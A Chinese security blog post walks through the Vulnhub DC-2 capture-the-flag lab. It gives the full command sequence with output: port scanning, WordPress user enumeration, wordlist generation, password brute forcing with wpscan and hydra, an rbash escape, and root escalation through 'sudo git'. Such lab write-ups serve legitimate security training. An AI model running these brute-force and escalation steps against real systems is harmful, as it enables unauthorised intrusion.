免责声明
本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。
2
内容速览
这是网络安全自修室每周带星球小伙伴一起实战的第2台靶机,欢迎有兴趣的小伙伴一起加入实操,毕竟实践出真知!
靶机可从Vulnhub平台免费下载,并通过虚拟机在本地搭建,渗透实战是一个找寻靶机中的flag的过程,并以获得最终的flag为目标!
攻击机:Kali Linux
靶机环境:192.168.241.136
所用工具:nmap | cewl | wpscan | hydra
发现存在端口80和7744
sudo masscan --min-rate=10000 192.168.241.136 -p-
扫描端口及服务,发现7744为ssh服务
nmap -sV -sC -O 192.168.241.136 -p 7744,80
值得注意的是:
发现开了80端口却无法访问,是重定向到dc-2域名 可改如下hosts文件
win10路径:C:\Windows\System32\drivers\etc\hosts
linux路径:etc/hosts
添加ip对应域名
发现页面存在Flag1,直接点击访问
提示使用cewl工具生成字典,登录账号发现下一个Flag
果断用wpscan列出用户
wpscan --url http://dc-2 -e u
admin
tom
jerry
用cewl生成字典
cewl http://dc-2 -w passwds.txt
用wpscan进行用户爆破
wpscan --url http://dc-2 -U users.txt -P passwds.txt
[i] Valid Combinations Found:
| Username: jerry, Password: adipiscing
| Username: tom, Password: parturient
通过jerry用户登录后台发现flag2
如果无法渗透wordpress,或者后台无上传点,提示走别的切入点
所以尝试hydra爆破ssh
hydra -L users.txt -P passwds.txt dc-2 -s 7744 ssh -vV
[7744][ssh] host: dc-2 login: tom password: parturient
ssh tom@dc-2 -p 7744
tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
发现是一个受限的rbash, rbash是受限的shell的一种此外还有rbash、rksh和rsh,为什么要对shell进行限制呢,有以下几个原因:
直接rbash绕过获取到flag3.txt内容
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 赋值给a
$ export PATH=$PATH:/bin/ # 导入环境变量
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
或者使用Vi绕过
flag3.txt提示su切换jerry,使用之前后台爆破出来的密码成功登录,获取flag4.txt内容
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
find / -perm -u=s -type f 2>/dev/null
发现没有find和git命令,通过sudo查看发现jerry用户无需root密码可以执行git
sudo -l
jerry@DC-2:/home$ sudo -l
Matching Defaults entries for jerry on DC-2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jerry may run the following commands on DC-2:
(root) NOPASSWD: /usr/bin/git
git提权
sudo git -p help # -p强制进入交互模式
!/bin/sh
ls
final-flag.txt
# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/
Congratulatons!!!
A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.